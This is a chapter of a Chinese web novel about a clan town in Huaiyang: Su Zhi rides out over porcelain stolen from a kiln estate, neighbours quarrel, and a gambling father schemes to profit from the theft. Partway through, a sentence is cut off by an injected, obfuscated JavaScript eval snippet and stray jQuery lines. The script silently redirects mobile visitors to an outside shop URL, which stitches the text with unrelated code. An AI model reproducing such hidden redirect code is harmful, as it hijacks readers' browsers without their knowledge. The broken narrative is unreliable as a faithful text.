进入十一月,一日冷过一日,苏织也不得不穿上夹棉衣裳,外罩灰鼠皮褂子,自角门而出,上马离开。
巷子里头有户人家碰个正着,目睹她的身影不无羡慕:“还得是五娘子,出行不禁,自由自在。”
她家住四合院,院里不止一户,东厢房住着的婶子常因鸡毛蒜皮和她拌嘴,闻言嗤声:“羡慕啊,叫你家大囡去族里学堂学两个字,学上个一两年也能跟在五娘子身边自由出入,最不济去柜上、去田庄,摇笔杆子也能挣钱呢。”
苏家就是淮阳城的风向标。
苏织以一己之力,带动了整个城的风气,小女子们也不再大门不出二门不迈,如今族里办学堂收男娃也收女娃,五娘子那里摊子铺的大,总是缺人。不管男娃女娃,送了去,果真好的就带在身边管各种事儿,资质一般的送去柜上或盘账或管出入库,或去田庄管着种植事宜,总有一分银钱。
那妇人将脸一板,正色道:“婶子休要胡说坏人名声,我家大囡转过年就要说人家,若说不着好的,我可赖着你家。”
她叫婶子的那妇人也不比她大几岁,撇嘴:“我可不敢领这个罪过,你呀,就把大囡好好关家门里头绣花,指定能寻个顶顶得意的女婿……”
话说的阴阳怪气,嘲讽意味十足。
偏她好似听不懂,美滋滋道:“我家大囡那手艺是认真拜师学过的,走哪儿都不差,指定能寻好人家…”
对方笑了声,转过脸去没再理会。
这就是个棒槌。
有思想开放愿意让女儿出去挣脸面的,就也有故步自封,说什么都不肯放孩子出门长见识,非得关在家里学什么大家闺秀。
大囡是好孩子,可惜没摊上个好娘。
她转身回屋,问躺在床上不动弹的自家幺儿:“五娘子一早打马出门,我瞅着是往城门方向去,干啥去了?”
昨儿是山间行军日,幺儿在山里摸爬滚打一整天,错过入城时间在城门外猫了一宿,好容易回家刚迷糊着,闻言从嗓子里挤出句:
“玩儿去了吧,我哪儿知道。”
“放你娘的屁!”妇人大手拍在他头上,半点没留力气,拍的人瞬间清醒。
“三条和你是一块去的,比你早回来,如今又跟着五娘子出去,你瞅瞅人家,再瞅瞅你!”
想想就气不打一处来。
好模好样的,家里头给吃给穿,她不舍得,把肉都省给他吃,怎么就这么没出息,混了一年多,还没混到五娘子身边护卫!
那个三条,个头没他高,身量没他壮,说话瓮声瓮气,三棍子打不出个屁,打小儿他们小子一块玩儿就是挨欺负的那个,怎么人家就那么出息!
幺儿更加无奈。
那能比吗?
三条在族里头比武次次拔头筹,学字学算数都比他们要快一步,可不就被五娘子看重。
为免阿娘再啰嗦,他只好说:“有个庄子烧窑烧出的瓷器不大对劲儿,很可能查看去了。”
他昨儿听了一嘴,说有人偷摸,中饱私囊,被派去的算官查出来,不仅不认错,反把算官打了一顿。
妇人闻言眼前一亮,一把掀开幺儿被子,不顾他叫嚷,拿过外衣甩到他身上:
“快快,穿好衣裳跟出去,你立功的时候指不定就到了!”
那些庄子上的人,都心大眼空,很有些不把主子放眼里。幺儿说的那个田庄她知道,庄头不是个东西,庄户也都不是善茬,五娘子才带几个人手,恐怕弹压不住。
“阿娘,我一天一夜没睡了!”幺儿哀嚎。
“睡睡睡,你是猪嘛就知道睡——等回来,有多少睡不得…快去快去,阿娘现在就去割肉,等你回来擎等着吃肉。”她哄儿子。
“我在家舒服躺着等肉吃不好嘛?”幺儿蜷缩身躯,想要把被子盖上。
妇人一巴掌呼在幺儿脖颈,“不出门,给你个屎橛子你吃不?”
直到拗不过阿娘,幺儿只好不情愿的起身,嘟囔着老娘不疼人,在她催促下穿好衣裳,胡乱填了口红薯饼,边系衣裳边往外头走。
正碰上邻舍族兄,问他:“捡儿哪,往哪儿去?”
他扯出一抹僵硬的笑:“有事儿,出城。”
快走几步去主宅角门处,说了几句话,牵过一匹马,翻身上门离开。
族兄目送他离开,啐一口在地上:“什么玩意儿!”
仗着自家选进族里护卫耀武扬威,见到他这个当哥哥都半点不尊敬。生在茅厕捡回来的东西,也好意思跟他面前充油子!
正嘟嘟囔囔,苏本捡的亲娘,他婶娘从屋里出来,立着眼睛问他:“你哪儿喝了一夜大酒不赶紧回家,跟院儿里立木桩子?”
他可不敢招惹这位出名彪悍的婶娘,闻言忙挤出个笑:“瞧您说的,我哪儿喝酒了,我那是有正事儿,正事儿…”
干干巴巴说着话,就迈进自家门里。
正好对上婆娘充满怒火的注视,他自知理亏,嘿嘿一笑,绕过婆娘往里头去,边走边喊:
“大囡,给爹打水,我得洗把脸,哎唷这天忒冷…”
大囡低垂着眼眉,从屋里挪出来,从外屋大缸里给阿爹舀水,又兑上些热的,端到跟前,等他洗完脸,端着想走。
天冷,大囡却还穿着单衣,她缩着脊背,瞧着瑟缩可怜,却没有激起苏本炎分毫怜惜,反而招他眼,呵道:“没有规矩,瞧见你爹,连句话都没有?”
大囡放下脸盆,转过身来,朝着他福礼:“阿爹。”
“嗳。”苏本炎这下气来的快去得也快,脸上挂着笑,看了眼女儿手上冻疮,打从怀里掏出盒脂膏,递给她:“喏,别说阿爹不疼你——上好的冻疮膏,放铺子里得卖个一二两呢。”
他婆娘恰好走过,从他手里劈手躲过,拿在手里上下看,横眉:“你打哪儿来的银子?”
眉毛立起来:“又去赌了?”声音既尖且利,想到隔壁,又强忍怒火压低声音:“你们又偷偷赌去了?不要命了?”
族长那里早说过,博戏无妨,年节下小赌怡情无妨,但谁要是敢开盘子当众聚赌,一旦逮住,轻的罚没赌资,重的要开宗祠!
自己的男人自己知道。苏本炎打年轻时就爱赌,没钱小赌,有钱大赌,多少家产都不够他输。她上了几次当后学乖了,哭闹几次把控家里银钱,还是搁不住他隔三岔五偷钱去赌。
男人身上几个钱,她这个当婆娘的最清楚,就他身上那仨瓜俩枣,莫说买一二两银子的冻疮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240379|146697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
膏,正经去买个馍都难,又哪来钱儿给闺女买好东西?
就有钱,家里头冬衣还没着落,拿回来给儿子添件袄子也好,怎么又浪费给丫头片子买甚么冻疮膏!
“你懂个屁!”汉子有些心虚,旋即又瞪起眼,“我这是帮了人的忙,别人拿来酬谢我。什么赌不赌的,净瞎说!”
虽然他的确是赌了一夜,但这话可不敢乱说。婆娘要疯要恼是一回事,若给隔壁听去说给五娘子那头管事儿的,他要遭殃。
吓!苏家真是越来越瞎包!
好好一个家族,就因家里头宠女儿,任凭她搅风搅雨,管束着族人这不许那不能,早晚要瞎!
“你帮人忙?你能帮人什么忙?”婆娘逼问,满腔不信。
自家坑头睡着的是什么德行她心里头清楚,好吃懒做,自私无情。他们这个院里头住着的,原先大伙儿家境都差不多。这一两年间有些人跟着五娘子瞎折腾,家底儿竟就渐渐厚了起来,她看着眼热,想叫男人也去寻份活计,他却说甚么丢份儿,死活不肯。
跟他瞎混的那帮狐朋狗友也都是差不多东西,他又没个权没个势的,能帮什么忙,叫人送他这般贵重东西?
提到这话题,他本能心虚,又嫌婆娘问的太多,一副不信任模样令人火大,当下把手里东西一摔,胡乱踢了鞋,歪躺上床,脚丫子勾过被子裹住,胡乱说一句:
“妇道人家,少打听爷们儿的事!”
婆娘心里窝火,有心想去摇晃问清楚,男人却已经打上呼噜,她怕挨揍,只好把火窝憋回去,握着冻疮膏往外屋走,走没两步,看到大囡弯腰通炉子,手上冻疮成片,一双清凌凌的眸子正看过来。
她心里一紧,挤出个笑,难得好声气:“等明年娘问你舅母要点樱桃泡酒,抹上管用。咱小户人家,用不起这好的脂膏,娘去找人卖了,好歹把你和你弟的冬衣赎回来。”
大囡嗯了一句,低头继续干活,没多吭声。
苏本炎躺在床上,看似呼噜震天,其实压根没睡着,闻言心里怪不是滋味。
他给小葛庄的管事牵线,对方酬谢他十两银子,昨晚上没忍住都输了。心里有些懊恼,想着应该先把俩孩子的冬衣赎回来。
心念回转,想到小葛庄管事说的那些话,不免动心,合计着等睡醒了就去找薛家商行认识的人,再牵一次线,好生赚上一笔过冬。
至于他们的生意会不会损了本家利益…谁叫他们吃香喝辣,自己家却穷得置办不起冬衣呢。
五娘子一个丫头片子,手里的钱填山填海,供应族里那么些人花销,却非要卡出些条条框框,害他一文钱拿不到,如今被手底下管事蒙骗,也是活该!
这一两年,不知道她打哪儿找来些手艺人,改良磁窑,又实验无数,烧出来的青瓷一次比一次精美,运到左近州县颇受欢迎,如今还商量要走海船去番邦,怕不得赚个千万两。
小葛庄的管事说了,他们从窑里偷出来的那些,专门运到北方,不怕被人发现。他朋友多路子广,但光给他们牵线才能挣几个大钱?
不如跟管事说,也要掺和一手,想办法多分点才是。
苏本炎算盘打得飞快,却不知道小葛庄的管事已经大祸临头,自身难保。